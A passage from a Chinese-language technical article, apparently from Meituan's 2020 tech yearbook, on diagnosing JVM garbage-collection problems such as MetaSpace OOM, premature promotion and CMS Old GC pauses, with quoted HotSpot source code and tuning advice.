
通过上面的分析看到，无论是保留还是去掉都会有一定的风险点，不过目前互联网

中的 RPC 通信会大量使用 NIO，所以笔者在这里建议保留。此外 JVM 还提供了 

-XX:+ExplicitGCInvokesConcurrent 和 -XX:+ExplicitGCInvokesCon-

currentAndUnloadsClasses 参数来将 System.gc 的触发类型从 Foreground 

改为 Background，同时 Background 也会做 Reference Processing，这样的话

就能大幅降低了 STW 开销，同时也不会发生 NIO Direct Memory OOM。

4.2.4	小结

不止 CMS，在 G1 或 ZGC 中开启 ExplicitGCInvokesConcurrent 模式，都会

采用高性能的并发收集方式进行收集，不过还是建议在代码规范方面也要做好约束，

规范好 System.gc 的使用。

P.S. HotSpot 对 System.gc 有特别处理，最主要的地方体现在一次 System.gc 

是否与普通 GC 一样会触发 GC 的统计 / 阈值数据的更新，HotSpot 里的许多 GC 

算法都带有自适应的功能，会根据先前收集的效率来决定接下来的 GC 中使用的参

数，但 System.gc 默认不更新这些统计数据，避免用户强行 GC 对这些自适应功能

的干扰（可以参考 -XX:+UseAdaptiveSizePolicyWithSystemGC 参数，默认是 

false）。
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4.3	场景三：MetaSpace	区	OOM

4.3.1	现象

JVM 在启动后或者某个时间点开始，MetaSpace	的已使用大小在持续增长，同时

每次	GC	也无法释放，调大	MetaSpace	空间也无法彻底解决。

4.3.2	原因

在讨论为什么会 OOM 之前，我们先来看一下这个区里面会存什么数据，Java7 之

前字符串常量池被放到了 Perm 区，所有被 intern 的 String 都会被存在这里，由

于 String.intern 是不受控的，所以 -XX:MaxPermSize 的值也不太好设置，经常会

出现 java.lang.OutOfMemoryError: PermGen space 异常，所以在 Java7 

之后常量池等字面量（Literal）、类静态变量（Class Static）、符号引用（Symbols 

Reference）等几项被移到 Heap 中。而 Java8 之后 PermGen 也被移除，取而代

之的是 MetaSpace。

在最底层，JVM 通过 mmap 接口向操作系统申请内存映射，每次申请 2MB 空间，

这里是虚拟内存映射，不是真的就消耗了主存的 2MB，只有之后在使用的时候才会

真的消耗内存。申请的这些内存放到一个链表中 VirtualSpaceList，作为其中的一个 

Node。

在上层，MetaSpace 主要由 Klass Metaspace 和 NoKlass Metaspace 两大部分

组成。

 ● Klass	MetaSpace： 就是用来存 Klass 的，就是 Class 文件在 JVM 里的

运行时数据结构，这部分默认放在 Compressed Class Pointer Space 中，

是一块连续的内存区域，紧接着 Heap。Compressed Class Pointer Space 

不是必须有的，如果设置了 -XX:-UseCompressedClassPointers，或

者 -Xmx 设置大于 32 G，就不会有这块内存，这种情况下 Klass 都会存在 

NoKlass Metaspace 里。
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 ● NoKlass	MetaSpace： 专门来存 Klass 相关的其他的内容，比如 Method，

ConstantPool 等， 可 以 由 多 块 不 连 续 的 内 存 组 成。 虽 然 叫 做 NoKlass 

Metaspace，但是也其实可以存 Klass 的内容，上面已经提到了对应场景。

具体的定义都可以在源码 shared/vm/memory/metaspace.hpp 中找到：

class Metaspace : public AllStatic {

  friend class MetaspaceShared;

 public:
  enum MetadataType {
    ClassType,
    NonClassType,
    MetadataTypeCount
  };
  enum MetaspaceType {
    ZeroMetaspaceType = 0,
    StandardMetaspaceType = ZeroMetaspaceType,
    BootMetaspaceType = StandardMetaspaceType + 1,
    AnonymousMetaspaceType = BootMetaspaceType + 1,
    ReflectionMetaspaceType = AnonymousMetaspaceType + 1,
    MetaspaceTypeCount
  };

 private:

  // Align up the word size to the allocation word size
  static size_t align_word_size_up(size_t);

  // Aligned size of the metaspace.
  static size_t _compressed_class_space_size;

  static size_t compressed_class_space_size() {
    return _compressed_class_space_size;
  }

  static void set_compressed_class_space_size(size_t size) {
    _compressed_class_space_size = size;
  }

  static size_t _first_chunk_word_size;
  static size_t _first_class_chunk_word_size;

  static size_t _commit_alignment;
  static size_t _reserve_alignment;
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  DEBUG_ONLY(static bool   _frozen;)

  // Virtual Space lists for both classes and other metadata
  static metaspace::VirtualSpaceList* _space_list;
  static metaspace::VirtualSpaceList* _class_space_list;

  static metaspace::ChunkManager* _chunk_manager_metadata;
  static metaspace::ChunkManager* _chunk_manager_class;

  static const MetaspaceTracer* _tracer;
}

MetaSpace 的对象为什么无法释放，我们看下面两点：

 ● MetaSpace	内存管理： 类和其元数据的生命周期与其对应的类加载器相同，

只要类的类加载器是存活的，在 Metaspace 中的类元数据也是存活的，不能

被回收。每个加载器有单独的存储空间，通过 ClassLoaderMetaspace 来进

行管理 SpaceManager* 的指针，相互隔离的。

 ● MetaSpace	弹性伸缩： 由于 MetaSpace 空间和 Heap 并不在一起，所以

这块的空间可以不用设置或者单独设置，一般情况下避免 MetaSpace 耗尽 

VM 内存都会设置一个 MaxMetaSpaceSize，在运行过程中，如果实际大

小小于这个值，JVM 就会通过 -XX:MinMetaspaceFreeRatio 和 -XX:-

MaxMetaspaceFreeRatio 两个参数动态控制整个 MetaSpace 的大小，具

体使用可以看 MetaSpaceGC::compute_new_size() 方法（下方代码），

这个方法会在 CMSCollector 和 G1CollectorHeap 等几个收集器执行 GC 

时 调 用。 这 个 里 面 会 根 据 used_after_gc，MinMetaspaceFreeRatio 

和 MaxMetaspaceFreeRatio 这三个值计算出来一个新的 _capacity_

until_GC 值（水位线）。然后根据实际的 _capacity_until_GC 值使用 

MetaspaceGC::inc_capacity_until_GC() 和 MetaspaceGC::dec_

capacity_until_GC() 进行 expand 或 shrink，这个过程也可以参照场景

一中的伸缩模型进行理解。

void MetaspaceGC::compute_new_size() {
  assert(_shrink_factor <= 100, "invalid shrink factor");
  uint current_shrink_factor = _shrink_factor;



324　>　美团 2020 技术年货

  _shrink_factor = 0;
  const size_t used_after_gc = MetaspaceUtils::committed_bytes();
  const size_t capacity_until_GC = MetaspaceGC::capacity_until_GC();

  const double minimum_free_percentage = MinMetaspaceFreeRatio / 100.0;
  const double maximum_used_percentage = 1.0 - minimum_free_percentage;

  const double min_tmp = used_after_gc / maximum_used_percentage;
  size_t minimum_desired_capacity =
    (size_t)MIN2(min_tmp, double(max_uintx));
  // Don't shrink less than the initial generation size
  minimum_desired_capacity = MAX2(minimum_desired_capacity,
                                  MetaspaceSize);

  log_trace(gc, metaspace)("MetaspaceGC::compute_new_size: ");
  log_trace(gc, metaspace)("    minimum_free_percentage: %6.2f  
maximum_used_percentage: %6.2f",
                           minimum_free_percentage, maximum_used_
percentage);
  log_trace(gc, metaspace)("     used_after_gc       : %6.1fKB", used_
after_gc / (double) K);

  size_t shrink_bytes = 0;
  if (capacity_until_GC < minimum_desired_capacity) {
    // If we have less capacity below the metaspace HWM, then
    // increment the HWM.
    size_t expand_bytes = minimum_desired_capacity - capacity_until_GC;
    expand_bytes = align_up(expand_bytes, Metaspace::commit_alignment());
    // Don't expand unless it's significant
    if (expand_bytes >= MinMetaspaceExpansion) {
      size_t new_capacity_until_GC = 0;
      bool succeeded = MetaspaceGC::inc_capacity_until_GC(expand_bytes, 
&new_capacity_until_GC);
      assert(succeeded, "Should always succesfully increment HWM when 
at safepoint");

      Metaspace::tracer()->report_gc_threshold(capacity_until_GC,
                                               new_capacity_until_GC,
                                               
MetaspaceGCThresholdUpdater::ComputeNewSize);
      log_trace(gc, metaspace)("    expanding:  minimum_desired_
capacity: %6.1fKB  expand_bytes: %6.1fKB  MinMetaspaceExpansion: 
%6.1fKB  new metaspace HWM:  %6.1fKB",
                               minimum_desired_capacity / (double) K,
                               expand_bytes / (double) K,
                               MinMetaspaceExpansion / (double) K,
                               new_capacity_until_GC / (double) K);
    }
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    return;
  }

  // No expansion, now see if we want to shrink
  // We would never want to shrink more than this
  assert(capacity_until_GC >= minimum_desired_capacity,
         SIZE_FORMAT " >= " SIZE_FORMAT,
         capacity_until_GC, minimum_desired_capacity);
  size_t max_shrink_bytes = capacity_until_GC - minimum_desired_capacity;

  // Should shrinking be considered?
  if (MaxMetaspaceFreeRatio < 100) {
    const double maximum_free_percentage = MaxMetaspaceFreeRatio / 
100.0;
    const double minimum_used_percentage = 1.0 - maximum_free_
percentage;
    const double max_tmp = used_after_gc / minimum_used_percentage;
    size_t maximum_desired_capacity = (size_t)MIN2(max_tmp, double(max_
uintx));
    maximum_desired_capacity = MAX2(maximum_desired_capacity,
                                    MetaspaceSize);
    log_trace(gc, metaspace)("    maximum_free_percentage: %6.2f  
minimum_used_percentage: %6.2f",
                             maximum_free_percentage, minimum_used_
percentage);
    log_trace(gc, metaspace)("    minimum_desired_capacity: %6.1fKB  
maximum_desired_capacity: %6.1fKB",
                             minimum_desired_capacity / (double) K, 
maximum_desired_capacity / (double) K);

    assert(minimum_desired_capacity <= maximum_desired_capacity,
           "sanity check");

    if (capacity_until_GC > maximum_desired_capacity) {
      // Capacity too large, compute shrinking size
      shrink_bytes = capacity_until_GC - maximum_desired_capacity;
      shrink_bytes = shrink_bytes / 100 * current_shrink_factor;

      shrink_bytes = align_down(shrink_bytes, Metaspace::commit_
alignment());

      assert(shrink_bytes <= max_shrink_bytes,
             "invalid shrink size " SIZE_FORMAT " not <= " SIZE_FORMAT,
             shrink_bytes, max_shrink_bytes);
      if (current_shrink_factor == 0) {
        _shrink_factor = 10;
      } else {
        _shrink_factor = MIN2(current_shrink_factor * 4, (uint) 100);
      }
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      log_trace(gc, metaspace)("    shrinking:  initThreshold: %.1fK  
maximum_desired_capacity: %.1fK",
                               MetaspaceSize / (double) K, maximum_
desired_capacity / (double) K);
      log_trace(gc, metaspace)("    shrink_bytes: %.1fK  current_
shrink_factor: %d  new shrink factor: %d  MinMetaspaceExpansion: 
%.1fK",
                               shrink_bytes / (double) K, current_shrink_
factor, _shrink_factor, MinMetaspaceExpansion / (double) K);
    }
  }

  // Don't shrink unless it's significant
  if (shrink_bytes >= MinMetaspaceExpansion &&
      ((capacity_until_GC - shrink_bytes) >= MetaspaceSize)) {
    size_t new_capacity_until_GC = MetaspaceGC::dec_capacity_until_
GC(shrink_bytes);
    Metaspace::tracer()->report_gc_threshold(capacity_until_GC,
                                             new_capacity_until_GC,
                                             
MetaspaceGCThresholdUpdater::ComputeNewSize);
  }
}

由 场 景 一 可 知， 为 了 避 免 弹 性 伸 缩 带 来 的 额 外 GC 消 耗， 我 们 会 将 -XX-

:MetaSpaceSize 和 -XX:MaxMetaSpaceSize 两个值设置为固定的，但是这样也

会导致在空间不够的时候无法扩容，然后频繁地触发 GC，最终 OOM。所以关键原

因就是 ClassLoader 不停地在内存中 load 了新的 Class ，一般这种问题都发生在

动态类加载等情况上。

4.3.3	策略

了解大概什么原因后，如何定位和解决就很简单了，可以 dump 快照之后通过 

JProfiler 或 MAT 观察 Classes 的 Histogram（直方图） 即可，或者直接通过命令即可

定位， jcmd 打几次 Histogram 的图，看一下具体是哪个包下的 Class 增加较多就可以

定位了。不过有时候也要结合 InstBytes、KlassBytes、Bytecodes、MethodAll 等几

项指标综合来看下。如下图便是笔者使用 jcmd 排查到一个 Orika 的问题。

jcmd <PID> GC.class_stats|awk '{print$13}'|sed  's/\(.*\)\.\(.*\)/\1/
g'|sort |uniq -c|sort -nrk1
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如 果 无 法 从 整 体 的 角 度 定 位， 可 以 添 加 -XX:+TraceClassLoading 和 -XX-

:+TraceClassUnLoading 参数观察详细的类加载和卸载信息。

4.3.4	小结

原理理解比较复杂，但定位和解决问题会比较简单，经常会出问题的几个点有 Orika 

的 classMap、JSON 的 ASMSerializer、Groovy 动态加载类等，基本都集中在

反射、Javasisit 字节码增强、CGLIB 动态代理、OSGi 自定义类加载器等的技术点

上。另外就是及时给 MetaSpace 区的使用率加一个监控，如果指标有波动提前发现

并解决问题。

4.4	场景四：过早晋升 *

4.4.1	现象

这种场景主要发生在分代的收集器上面，专业的术语称为“Premature Promotion”。

90% 的对象朝生夕死，只有在 Young 区经历过几次 GC 的洗礼后才会晋升到 Old 

区，每经历一次 GC 对象的 GC Age 就会增长 1，最大通过 -XX:MaxTenuring-

Threshold 来控制。

过早晋升一般不会直接影响 GC，总会伴随着浮动垃圾、大对象担保失败等问题，但

这些问题不是立刻发生的，我们可以观察以下几种现象来判断是否发生了过早晋升。

分配速率接近于晋升速率，对象晋升年龄较小。

GC 日 志 中 出 现“Desired survivor size 107347968 bytes, new	threshold	

1(max	6)”等信息，说明此时经历过一次 GC 就会放到 Old 区。

Full	GC	比较频繁，且经历过一次 GC 之后 Old 区的变化比例非常大。
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比如说 Old 区触发的回收阈值是 80%，经历过一次 GC 之后下降到了 10%，这就

说明 Old 区的 70% 的对象存活时间其实很短，如下图所示，Old 区大小每次 GC 后

从 2.1G 回收到 300M，也就是说回收掉了 1.8G 的垃圾，只有 300M	的活跃对象。

整个 Heap 目前是 4G，活跃对象只占了不到十分之一。

过早晋升的危害：

 ● Young GC 频繁，总的吞吐量下降。

 ● Full GC 频繁，可能会有较大停顿。

4.4.2	原因

主要的原因有以下两点：

 ● Young/Eden	区过小： 过小的直接后果就是 Eden 被装满的时间变短，本应

该回收的对象参与了 GC 并晋升，Young GC 采用的是复制算法，由基础篇

我们知道 copying 耗时远大于 mark，也就是 Young GC 耗时本质上就是 

copy 的时间（CMS 扫描 Card Table 或 G1 扫描 Remember Set 出问题的

情况另说），没来及回收的对象增大了回收的代价，所以 Young GC 时间增

加，同时又无法快速释放空间，Young GC 次数也跟着增加。

 ● 分配速率过大： 可以观察出问题前后 Mutator 的分配速率，如果有明显波动可

以尝试观察网卡流量、存储类中间件慢查询日志等信息，看是否有大量数据被

加载到内存中。
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同时无法 GC 掉对象还会带来另外一个问题，引发动态年龄计算：JVM 通过 -XX:-

MaxTenuringThreshold 参数来控制晋升年龄，每经过一次 GC，年龄就会加一，

达到最大年龄就可以进入 Old 区，最大值为 15（因为 JVM 中使用 4 个比特来表示

对象的年龄）。设定固定的 MaxTenuringThreshold 值作为晋升条件：

 ● MaxTenuringThreshold 如果设置得过大，原本应该晋升的对象一直停留在 

Survivor 区，直到 Survivor 区溢出，一旦溢出发生，Eden + Survivor 中对

象将不再依据年龄全部提升到 Old 区，这样对象老化的机制就失效了。

 ● MaxTenuringThreshold 如果设置得过小，过早晋升即对象不能在 Young 区

充分被回收，大量短期对象被晋升到 Old 区，Old 区空间迅速增长，引起频繁

的 Major GC，分代回收失去了意义，严重影响 GC 性能。

相同应用在不同时间的表现不同，特殊任务的执行或者流量成分的变化，都会导致对

象的生命周期分布发生波动，那么固定的阈值设定，因为无法动态适应变化，会造成

和上面问题，所以 Hotspot 会使用动态计算的方式来调整晋升的阈值。

具体动态计算可以看一下 Hotspot 源码，具体在 /src/hotspot/share/gc/shared/

ageTable.cpp 的 compute_tenuring_threshold 方法中：

uint ageTable::compute_tenuring_threshold(size_t survivor_capacity) {
  //TargetSurvivorRatio默认 50，意思是：在回收之后希望 survivor区的占用率达到
这个比例
  size_t desired_survivor_size = (size_t)((((double) survivor_
capacity)*TargetSurvivorRatio)/100);
  size_t total = 0;
  uint age = 1;
  assert(sizes[0] == 0, "no objects with age zero should be recorded");
  while (age < table_size) {//table_size=16
    total += sizes[age];
    //如果加上这个年龄的所有对象的大小之后，占用量 >期望的大小，就设置 age为新的
晋升阈值
    if (total > desired_survivor_size) break;
    age++;
  }

  uint result = age < MaxTenuringThreshold ? age : MaxTenuringThreshold;
  if (PrintTenuringDistribution || UsePerfData) {
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    //打印期望的 survivor的大小以及新计算出来的阈值，和设置的最大阈值
    if (PrintTenuringDistribution) {
      gclog_or_tty->cr();
      gclog_or_tty->print_cr("Desired survivor size " SIZE_FORMAT " 
bytes, new threshold %u (max %u)",
        desired_survivor_size*oopSize, result, (int) 
MaxTenuringThreshold);
    }

    total = 0;
    age = 1;
    while (age < table_size) {
      total += sizes[age];
      if (sizes[age] > 0) {
        if (PrintTenuringDistribution) {
          gclog_or_tty->print_cr("- age %3u: " SIZE_FORMAT_W(10) " 
bytes, " SIZE_FORMAT_W(10) " total",
                                        age,    sizes[age]*oopSize,          
total*oopSize);
        }
      }
      if (UsePerfData) {
        _perf_sizes[age]->set_value(sizes[age]*oopSize);
      }
      age++;
    }
    if (UsePerfData) {
      SharedHeap* sh = SharedHeap::heap();
      CollectorPolicy* policy = sh->collector_policy();
      GCPolicyCounters* gc_counters = policy->counters();
      gc_counters->tenuring_threshold()->set_value(result);
      gc_counters->desired_survivor_size()->set_value(
        desired_survivor_size*oopSize);
    }
  }

  return result;
}

可以看到 Hotspot 遍历所有对象时，从所有年龄为 0 的对象占用的空间开始累加，

如果加上年龄等于 n 的所有对象的空间之后，使用 Survivor 区的条件值（Target-

SurvivorRatio / 100，TargetSurvivorRatio 默认值为 50）进行判断，若大于这个

值则结束循环，将 n 和 MaxTenuringThreshold 比较，若 n 小，则阈值为 n，若 n 

大，则只能去设置最大阈值为 MaxTenuringThreshold。动态年龄触发后导致更多
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的对象进入了	Old	区，造成资源浪费。

4.4.3	策略

知道问题原因后我们就有解决的方向，如果是 Young/Eden	区过小，我们可以在总

的 Heap 内存不变的情况下适当增大 Young 区，具体怎么增加？一般情况下 Old 的

大小应当为活跃对象的 2~3 倍左右，考虑到浮动垃圾问题最好在 3 倍左右，剩下的

都可以分给 Young 区。

拿笔者的一次典型过早晋升优化来看，原配置为 Young 1.2G + Old 2.8G，通过观

察 CMS GC 的情况找到存活对象大概为 300~400M，于是调整 Old 1.5G 左右，剩

下 2.5G 分给 Young 区。仅仅调了一个 Young 区大小参数（-Xmn），整个 JVM 一

分钟 Young GC 从 26 次降低到了 11 次，单次时间也没有增加，总的 GC 时间从 

1100ms 降低到了 500ms，CMS GC 次数也从 40 分钟左右一次降低到了 7 小时 

30 分钟一次。
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如果是分配速率过大：

 ● 偶发较大：通过内存分析工具找到问题代码，从业务逻辑上做一些优化。

 ● 一直较大：当前的 Collector 已经不满足 Mutator 的期望了，这种情况要么扩

容 Mutator 的 VM，要么调整 GC 收集器类型或加大空间。

4.4.4	小结

过早晋升问题一般不会特别明显，但日积月累之后可能会爆发一波收集器退化之类的

问题，所以我们还是要提前避免掉的，可以看看自己系统里面是否有这些现象，如果

比较匹配的话，可以尝试优化一下。一行代码优化的 ROI 还是很高的。

如果在观察 Old 区前后比例变化的过程中，发现可以回收的比例非常小，如从 80% 

只回收到了 60%，说明我们大部分对象都是存活的，Old 区的空间可以适当调大些。

4.4.5	加餐

关于在调整 Young 与 Old 的比例时，如何选取具体的 NewRatio 值，这里将问题

抽象成为一个蓄水池模型，找到以下关键衡量指标，大家可以根据自己场景进行

推算。
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 ● NewRatio 的值 r 与 va、vp、vyc、voc、rs 等值存在一定函数相关性（rs 越

小 r 越大、r 越小 vp 越小，…，之前尝试使用 NN 来辅助建模，但目前还没

有完全算出具体的公式，有想法的同学可以在评论区给出你的答案）。

 ● 总停顿时间 T 为 Young GC 总时间 Tyc 和 Old GC 总时间 Toc 之和，其中 

Tyc 与 vyc 和 vp 相关，Toc 与 voc 相关。

 ● 忽略掉 GC 时间后，两次 Young GC 的时间间隔要大于 TP9999 时间，这样

尽量让对象在 Eden 区就被回收，可以减少很多停顿。

4.5	场景五：CMS	Old	GC	频繁 *

4.5.1	现象

Old 区频繁的做 CMS GC，但是每次耗时不是特别长，整体最大 STW 也在可接受

范围内，但由于 GC 太频繁导致吞吐下降比较多。

4.5.2	原因

这种情况比较常见，基本都是一次 Young GC 完成后，负责处理 CMS GC 的一个

后台线程 concurrentMarkSweepThread 会不断地轮询，使用 shouldConcur-

rentCollect() 方法做一次检测，判断是否达到了回收条件。如果达到条件，使用 

collect_in_background() 启动一次 Background 模式 GC。轮询的判断是使

用 sleepBeforeNextCycle() 方法，间隔周期为 -XX:CMSWaitDuration 决定，

默认为 2s。

具体代码在： src/hotspot/share/gc/cms/concurrentMarkSweepThread.cpp。

void ConcurrentMarkSweepThread::run_service() {
  assert(this == cmst(), "just checking");

  if (BindCMSThreadToCPU && !os::bind_to_processor(CPUForCMSThread)) {
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    log_warning(gc)("Couldn't bind CMS thread to processor " UINTX_
FORMAT, CPUForCMSThread);
  }

  while (!should_terminate()) {
    sleepBeforeNextCycle();
    if (should_terminate()) break;
    GCIdMark gc_id_mark;
    GCCause::Cause cause = _collector->_full_gc_requested ?
      _collector->_full_gc_cause : GCCause::_cms_concurrent_mark;
    _collector->collect_in_background(cause);
  }
  verify_ok_to_terminate();
}

void ConcurrentMarkSweepThread::sleepBeforeNextCycle() {
  while (!should_terminate()) {
    if(CMSWaitDuration >= 0) {
      // Wait until the next synchronous GC, a concurrent full gc
      // request or a timeout, whichever is earlier.
      wait_on_cms_lock_for_scavenge(CMSWaitDuration);
    } else {
      // Wait until any cms_lock event or check interval not to call 
shouldConcurrentCollect permanently
      wait_on_cms_lock(CMSCheckInterval);
    }
    // Check if we should start a CMS collection cycle
    if (_collector->shouldConcurrentCollect()) {
      return;
    }
    // .. collection criterion not yet met, let's go back
    // and wait some more
  }
}

判断是否进行回收的代码在：/src/hotspot/share/gc/cms/concurrentMarkSweep-

Generation.cpp。

bool CMSCollector::shouldConcurrentCollect() {
  LogTarget(Trace, gc) log;

  if (_full_gc_requested) {
    log.print("CMSCollector: collect because of explicit  gc request 
(or GCLocker)");
    return true;
  }
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  FreelistLocker x(this);
  // ----------------------------------------------------------------
--
  // Print out lots of information which affects the initiation of
  // a collection.
  if (log.is_enabled() && stats().valid()) {
    log.print("CMSCollector shouldConcurrentCollect: ");

    LogStream out(log);
    stats().print_on(&out);

    log.print("time_until_cms_gen_full %3.7f", stats().time_until_cms_
gen_full());
    log.print("free=" SIZE_FORMAT, _cmsGen->free());
    log.print("contiguous_available=" SIZE_FORMAT, _cmsGen->contiguous_
available());
    log.print("promotion_rate=%g", stats().promotion_rate());
    log.print("cms_allocation_rate=%g", stats().cms_allocation_rate());
    log.print("occupancy=%3.7f", _cmsGen->occupancy());
    log.print("initiatingOccupancy=%3.7f", _cmsGen->initiating_
occupancy());
    log.print("cms_time_since_begin=%3.7f", stats().cms_time_since_
begin());
    log.print("cms_time_since_end=%3.7f", stats().cms_time_since_
end());
    log.print("metadata initialized %d", MetaspaceGC::should_concurrent_
collect());
  }
  // ----------------------------------------------------------------
--
  if (!UseCMSInitiatingOccupancyOnly) {
    if (stats().valid()) {
      if (stats().time_until_cms_start() == 0.0) {
        return true;
      }
    } else {
  
      if (_cmsGen->occupancy() >= _bootstrap_occupancy) {
        log.print(" CMSCollector: collect for bootstrapping 
statistics: occupancy = %f, boot occupancy = %f",
                  _cmsGen->occupancy(), _bootstrap_occupancy);
        return true;
      }
    }
  }

  if (_cmsGen->should_concurrent_collect()) {
    log.print("CMS old gen initiated");
    return true;
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  }

  // We start a collection if we believe an incremental collection 
may fail;
  // this is not likely to be productive in practice because it's 
probably too
  // late anyway.
  CMSHeap* heap = CMSHeap::heap();
  if (heap->incremental_collection_will_fail(true /* consult_young */)) 
{
    log.print("CMSCollector: collect because incremental collection 
will fail ");
    return true;
  }

  if (MetaspaceGC::should_concurrent_collect()) {
    log.print("CMSCollector: collect for metadata allocation ");
    return true;
  }

  // CMSTriggerInterval starts a CMS cycle if enough time has passed.
  if (CMSTriggerInterval >= 0) {
    if (CMSTriggerInterval == 0) {
      // Trigger always
      return true;
    }

    // Check the CMS time since begin (we do not check the stats 
validity
    // as we want to be able to trigger the first CMS cycle as well)
    if (stats().cms_time_since_begin() >= (CMSTriggerInterval / ((double) 
MILLIUNITS))) {
      if (stats().valid()) {
        log.print("CMSCollector: collect because of trigger interval 
(time since last begin %3.7f secs)",
                  stats().cms_time_since_begin());
      } else {
        log.print("CMSCollector: collect because of trigger interval 
(first collection)");
      }
      return true;
    }
  }

  return false;
}

分析其中逻辑判断是否触发 GC，分为以下几种情况：
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 ● 触发	CMS	GC： 通过调用 _collector->collect_in_background() 进

行触发 Background GC 。

 ○ CMS 默认采用 JVM 运行时的统计数据判断是否需要触发 CMS GC，如果

需要根据 -XX:CMSInitiatingOccupancyFraction 的值进行判断，需

要设置参数 -XX:+UseCMSInitiatingOccupancyOnly。

 ○ 如 果 开 启 了 -XX:UseCMSInitiatingOccupancyOnly 参 数， 判 断 当

前 Old 区使用率是否大于阈值，则触发 CMS GC，该阈值可以通过参数 

-XX:CMSInitiatingOccupancyFraction 进行设置，如果没有设置，

默认为 92%。

 ○ 如果之前的 Young GC 失败过，或者下次 Young 区执行 Young GC 可能

失败，这两种情况下都需要触发 CMS GC。

 ○ CMS 默认不会对 MetaSpace 或 Perm 进行垃圾收集，如果希望对这些区

域进行垃圾收集，需要设置参数 -XX:+CMSClassUnloadingEnabled。

 ● 触发	Full	GC： 直接进行 Full GC，这种情况到场景七中展开说明。

 ○ 如果 _full_gc_requested 为真，说明有明确的需求要进行 GC，比如调

用 System.gc。

 ○ 在 Eden 区为对象或 TLAB 分配内存失败，导致一次 Young GC，在 

GenCollectorPolicy 类的 satisfy_failed_allocation() 方法中

进行判断。

大家可以看一下源码中的日志打印，通过日志我们就可以比较清楚地知道具体的原

因，然后就可以着手分析了。

4.5.3	策略

我们这里还是拿最常见的达到回收比例这个场景来说，与过早晋升不同的是这些对象

确实存活了一段时间，Survival Time 超过了 TP9999 时间，但是又达不到长期存

活，如各种数据库、网络链接，带有失效时间的缓存等。

处理这种常规内存泄漏问题基本是一个思路，主要步骤如下：
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Dump Diff 和 Leak Suspects 比较直观就不介绍了，这里说下其它几个关键点：

 ● 内存	Dump： 使用 jmap、arthas 等 dump 堆进行快照时记得摘掉流量，同

时分别在	CMS	GC	的发生前后分别	dump	一次。

 ● 分析	Top	Component： 要记得按照对象、类、类加载器、包等多个维度观

察 Histogram，同时使用 outgoing 和 incoming 分析关联的对象，另外就是 

Soft Reference 和 Weak Reference、Finalizer 等也要看一下。

 ● 分析	Unreachable： 重点看一下这个，关注下 Shallow 和 Retained 的大

小。如下图所示，笔者之前一次 GC 优化，就根据 Unreachable Objects 发

现了 Hystrix 的滑动窗口问题。
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4.5.4	小结

经过整个流程下来基本就能定位问题了，不过在优化的过程中记得使用控制变量的方

法来优化，防止一些会加剧问题的改动被掩盖。

4.6	场景六：单次CMS	Old	GC耗时长 *

4.6.1	现象

CMS GC 单次 STW 最大超过 1000ms，不会频繁发生，如下图所示最长达到了 

8000ms。某些场景下会引起“雪崩效应”，这种场景非常危险，我们应该尽量避免

出现。

4.6.2	原因

CMS 在回收的过程中，STW 的阶段主要是 Init Mark 和 Final Remark 这两个

阶段，也是导致 CMS Old GC 最多的原因，另外有些情况就是在 STW 前等待 

Mutator 的线程到达 SafePoint 也会导致时间过长，但这种情况较少，我们在此处主

要讨论前者。发生收集器退化或者碎片压缩的场景请看场景七。

想要知道这两个阶段为什么会耗时，我们需要先看一下这两个阶段都会干什么。

核 心 代 码 都 在 /src/hotspot/share/gc/cms/concurrentMarkSweepGeneration.

cpp 中，内部有个线程 ConcurrentMarkSweepThread 轮询来校验，Old 区的

垃圾回收相关细节被完全封装在 CMSCollector 中，调用入口就是 Concurrent-

MarkSweepThread 调 用 的 CMSCollector::collect_in_background 和 
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ConcurrentMarkSweepGeneration 调用的 CMSCollector::collect 方法，

此处我们讨论大多数场景的 collect_in_background。整个过程中会 STW 的

主要是 initial Mark 和 Final Remark，核心代码在 VM_CMS_Initial_Mark / VM_

CMS_Final_Remark 中，执行时需要将执行权交由 VMThread 来执行。

 ● CMS Init Mark 执 行 步 骤， 实 现 在 CMSCollector::checkpointRoot-

sInitialWork() 和 CMSParInitialMarkTask::work 中，整体步骤和

代码如下：

void CMSCollector::checkpointRootsInitialWork() {
  assert(SafepointSynchronize::is_at_safepoint(), "world should be 
stopped");
  assert(_collectorState == InitialMarking, "just checking");

  // Already have locks.
  assert_lock_strong(bitMapLock());
  assert(_markBitMap.isAllClear(), "was reset at end of previous 
cycle");

  // Setup the verification and class unloading state for this
  // CMS collection cycle.
  setup_cms_unloading_and_verification_state();

  GCTraceTime(Trace, gc, phases) ts("checkpointRootsInitialWork", _gc_
timer_cm);

  // Reset all the PLAB chunk arrays if necessary.
  if (_survivor_plab_array != NULL && !CMSPLABRecordAlways) {
    reset_survivor_plab_arrays();
  }

  ResourceMark rm;
  HandleMark  hm;

  MarkRefsIntoClosure notOlder(_span, &_markBitMap);
  CMSHeap* heap = CMSHeap::heap();

  verify_work_stacks_empty();
  verify_overflow_empty();

  heap->ensure_parsability(false);  // fill TLABs, but no need to 
retire them
  // Update the saved marks which may affect the root scans.
  heap->save_marks();
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  // weak reference processing has not started yet.
  ref_processor()->set_enqueuing_is_done(false);

  // Need to remember all newly created CLDs,
  // so that we can guarantee that the remark finds them.
  ClassLoaderDataGraph::remember_new_clds(true);

  // Whenever a CLD is found, it will be claimed before proceeding to 
mark
  // the klasses. The claimed marks need to be cleared before marking 
starts.
  ClassLoaderDataGraph::clear_claimed_marks();

  print_eden_and_survivor_chunk_arrays();

  {
    if (CMSParallelInitialMarkEnabled) {
      // The parallel version.
      WorkGang* workers = heap->workers();
      assert(workers != NULL, "Need parallel worker threads.");
      uint n_workers = workers->active_workers();

      StrongRootsScope srs(n_workers);

      CMSParInitialMarkTask tsk(this, &srs, n_workers);
      initialize_sequential_subtasks_for_young_gen_rescan(n_workers);
      // If the total workers is greater than 1, then multiple workers
      // may be used at some time and the initialization has been set
      // such that the single threaded path cannot be used.
      if (workers->total_workers() > 1) {
        workers->run_task(&tsk);
      } else {
        tsk.work(0);
      }
    } else {
      // The serial version.
      CLDToOopClosure cld_closure(&notOlder, true);
      heap->rem_set()->prepare_for_younger_refs_iterate(false); // Not 
parallel.

      StrongRootsScope srs(1);

      heap->cms_process_roots(&srs,
                             true,   // young gen as roots
                             GenCollectedHeap::ScanningOption(roots_
scanning_options()),
                             should_unload_classes(),
                             &notOlder,
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                             &cld_closure);
    }
  }

  // Clear mod-union table; it will be dirtied in the prologue of
  // CMS generation per each young generation collection.
  assert(_modUnionTable.isAllClear(),
       "Was cleared in most recent final checkpoint phase"
       " or no bits are set in the gc_prologue before the start of the 
next "
       "subsequent marking phase.");

